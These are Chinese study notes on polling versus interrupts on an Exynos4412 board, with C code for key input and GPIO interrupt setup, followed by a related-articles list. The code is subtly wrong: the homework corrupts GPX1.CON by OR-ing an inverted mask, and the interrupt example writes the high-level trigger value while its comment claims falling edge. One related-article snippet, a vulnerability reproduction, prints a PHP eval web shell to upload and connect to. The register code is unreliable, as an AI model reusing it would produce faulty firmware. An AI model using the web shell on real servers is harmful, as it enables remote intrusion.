LV.12 D16 轮询与中断 学习笔记

一、CPU与硬件的交互方式

轮询    

        CPU执行程序时不断地询问硬件是否需要其服务,若需要则给予其服务,若不需要一段时间后再次询问,周而复始  

中断    

        CPU执行程序时若硬件需要其服务,对应的硬件给CPU发送中断信号,CPU接收到中断信号后将当前的程序暂停下来,转而去执行中断服务程序,执行完成后再返回到被打断的点继续执行

DMA    

        硬件产生数据后,硬件控制器可将产生的数据直接写入到存储器中,整个过程无需CPU的参与

二、轮询方式实现按键实验 

 

先找到K2按键。

正常状态下,UART_RING是高电平,当K2按下,变成低电平,松手以后,重新变回高电平。

 

使用GPIO的输入功能来检测引脚的电平状态。

 

#include "exynos_4412.h"int main()
{/*将GPX1_1设置成输入功能*/GPX1.CON = GPX1.CON & (~(0xF << 4));while(1){if(!(GPX1.DAT & (1 << 1))){printf("Key2 Pressed\n");}else{}}return 0;
}

 CPU执行速度很快,所以K2按键按一下就会打印出很多"Key2 Pressed"

#include "exynos_4412.h"int main()
{/*将GPX1_1设置成输入功能*/GPX1.CON = GPX1.CON & (~(0xF << 4));while(1){/*判断GPX1_1引脚的状态,即判断按键是否按下*/if(!(GPX1.DAT & (1 << 1))){printf("Key2 Pressed\n");/*等待松手*/while(!(GPX1.DAT & (1 << 1)));}else{}}return 0;
}

 

 此时,K2按键按一下只会打印一边"Key pressed"

三、GPIO中断相关寄存器详解 

 

 

如果把GPX0设置成中断功能后,中断的细节就在以下带40的里设置,GPX1对应41,依次类推。

 

 GPX1_1对应EXT_INT41_CON[1],用于管理和配置中断相关功能。

 

 

设置中断触发方式:

        0x1:低电平可以触发信号

        0x2:高电平可以触发信号

        0x3:下降沿可以触发信号(即从高电平变为低电平时)

        0x4:上升沿可以触发信号(即从低电平变为高电平时)

        0x5:上升沿或下降沿都可以触发信号 

本次实验使用的是K2按键,① 如果使用低电平触发方式,可能会多次触发中断。②  如果使用高电平触发方式,我们没按下K2按键时,就处于高电平状态,即会一直发送中断信号。③ 使用下降沿触发方式没有问题,还可以避免按一次就触发好几次中断。④ 设置成上升沿,则松手时会触发信号。⑤ 设置成双边沿,按一次会触发两次。

EXT_INT41_FLTCON1是滤波寄存器,因为手可能会抖导致产生奇怪的波形这个电路会把波形变成我们想要的。(本次实验不使用)

EXT_INT41_MASK用于设置中断的开关,每一位对应一个引脚,也就是EXT_INT41_MASK[1]对应GPX1_1的开和关。0x0打开中断,0x1关闭中断。

 

EXT_INT41_PEND是挂起寄存器,由于CPU在执行别的中断时会自动屏蔽同时给他发送到中断信号,为了不丢失这个信号,我们可以使用挂起功能,在CPU做别的东西时我们把信号挂起,等CPU空闲了我们在发送信号。(这个寄存器一般不用自己写,引脚产生中断后,会自动置1)

四、GPIO中断编程

中断挂起寄存器,当有中断产生时,会自动置1,当中断处理完后,我们需要把它置0.(本次实验暂时不设置)

#include "exynos_4412.h"int main()
{/*将GPX1_1设置成中断功能*/GPX1.CON = GPX1.CON | (0xF << 4);/*设置GPX1_1中断触发方式:下降沿触发*/EXT_INT41_CON = EXT_INT41_CON & (~(0x7 << 4)) | (0x2 << 4);/*使能GPX1_1的中断功能*/EXT_INT41_MASK = EXT_INT41_MASK & (~(1 << 1));	return 0;
}

作业

使用轮询的方式检测Key3按键的状态,实现按一次按键,LED2点亮,再次按下,LED2熄灭

#include "exynos_4412.h"int main()
{/*将GPX2_7设置成输出功能(LED2)*/GPX2.CON = GPX2.CON & (~(0xF << 28)) | (1 << 28);/*将GPX1_2设置成输入模式(K3)*/GPX1.CON = GPX1.CON | (~(0xF << 8));while(1){/*判断GPX1_2引脚的状态,即判断按键是否按下*/if(!(GPX1.DAT & (1 << 2))){/*判断LED3当前的状态*/if(!(GPX2.DAT & (1 << 7)))GPX2.DAT = GPX2.DAT | (0x1 << 7);elseGPX2.DAT = GPX2.DAT & (~(0x1 << 7));/*等待松手*/while(!(GPX1.DAT & (1 << 2)));}else{}}return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/161509.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux 驱动——字符设备驱动(自动生成设备节点文件)

文章目录 字符设备驱动字符设备 APP生成 dev 节点的原理配置内核自动创建设备节点模块使用 字符设备驱动 #include "linux/device/class.h" #include "linux/export.h" #include "linux/uaccess.h" #include <linux/types.h> #include &l…

mapbox使用marker创建html点位信息

mapbox使用marker创建html点位信息 codePen地址 mapboxgl.accessToken "pk.eyJ1IjoibGl1emhhbzI1ODAiLCJhIjoiY2xmcnV5c2NtMDd4eDNvbmxsbHEwYTMwbCJ9.T0QCxGEJsLWC9ncE1B1rRw"; const center [121.29786, 31.19365]; const map new mapboxgl.Map({container: &quo…

解析mfc100u.dll文件丢失的修复方法,快速解决mfc100u.dll问题

在计算机使用过程中&#xff0c;我们经常会遇到一些错误提示&#xff0c;其中最常见的就是“缺少某个文件”的错误。最近&#xff0c;我也遇到了一个这样的问题&#xff0c;那就是“mfc100u.dll丢失”。这个问题可能会导致某些应用程序无法正常运行&#xff0c;给我们带来困扰。…

10本值得阅读的量化交易书籍

什么是量化交易&#xff1f; 量化交易是利用数学模型或算法来创建交易策略并进行交易。量化交易通常由大型机构交易员或对冲基金雇用&#xff0c;他们雇用大量的博士和工程师团队。从历史上看&#xff0c;量化交易领域一直非常隐秘&#xff0c;有效的想法往往受到公司的严密保…

【漏洞复现】Apache_HTTPD_未知后缀名解析

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 upload-labs/Pass-07 上传1.php文件 <?php eval($_REQUEST[6868]);phpinfo();?>访问/upload/1.php.jaychou 蚁剑连接

(后续补充)vue+express、gitee pm2部署轻量服务器

首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 关闭防火墙 systemctl stop firewalld 重新载入防火墙使设置生效 firewall-cmd --reload 后端的 pm2.config.cjs …

react_11

MobX 介绍 需求&#xff0c;组件0 改变了数据&#xff0c;其它组件也想获得改变后的数据&#xff0c;如图所示 这种多个组件之间要共享状态数据&#xff0c;useState 就不够用了&#xff0c;useContext 也不好用了 能够和 react 配合使用的状态管理库有 MobX Redux 其中…

XR Interaction ToolKit

一、简介 XR Interaction Toolkit是unity官方的XR交互工具包。 官方XRI示例地址&#xff1a;https://github.com/Unity-Technologies/XR-Interaction-Toolkit-Examples 2023.3.14官方博客&#xff0c;XRIT v2.3 https://blog.unity.com/engine-platform/whats-new-in-xr-int…

JVM类的声明周期

文章目录 版权声明生命周期概述加载阶段查看内存中的对象 连接阶段连接阶段之验证连接阶段之准备连接阶段之解析 初始化阶段练习题目一练习题目二练习题目三练习题目四 使用阶段卸载阶段总结 版权声明 本博客的内容基于我个人学习黑马程序员课程的学习笔记整理而成。我特此声明…

【探索Linux】—— 强大的命令行工具 P.13(文件系统 | 软硬链接 | 动态库和静态库)

阅读导航 引言一、文件系统1. 磁盘文件系统2. 磁盘结构&#xff08;1&#xff09;物理结构&#xff08;2&#xff09;存储结构 3. stat 命令4. Linux ext2文件系统 二、软硬链接1. 软连接2. 硬链接 三、动态库和静态库1. 动态库&#xff08;1&#xff09;动态库文件扩展名&…

【蓝桥杯省赛真题43】Scratch神奇哈哈镜 蓝桥杯少儿编程scratch图形化编程 蓝桥杯省赛真题讲解

目录 scratch神奇哈哈镜 一、题目要求 编程实现 二、案例分析 1、角色分析

Go类型嵌入介绍和使用类型嵌入模拟实现“继承”

Go类型嵌入介绍和使用类型嵌入模拟实现“继承” 文章目录 Go类型嵌入介绍和使用类型嵌入模拟实现“继承”一、独立的自定义类型二、继承三、类型嵌入3.1 什么是类型嵌入 四、接口类型的类型嵌入4.1 接口类型的类型嵌入介绍4.2 一个小案例 五、结构体类型的类型嵌入5.1 结构体类…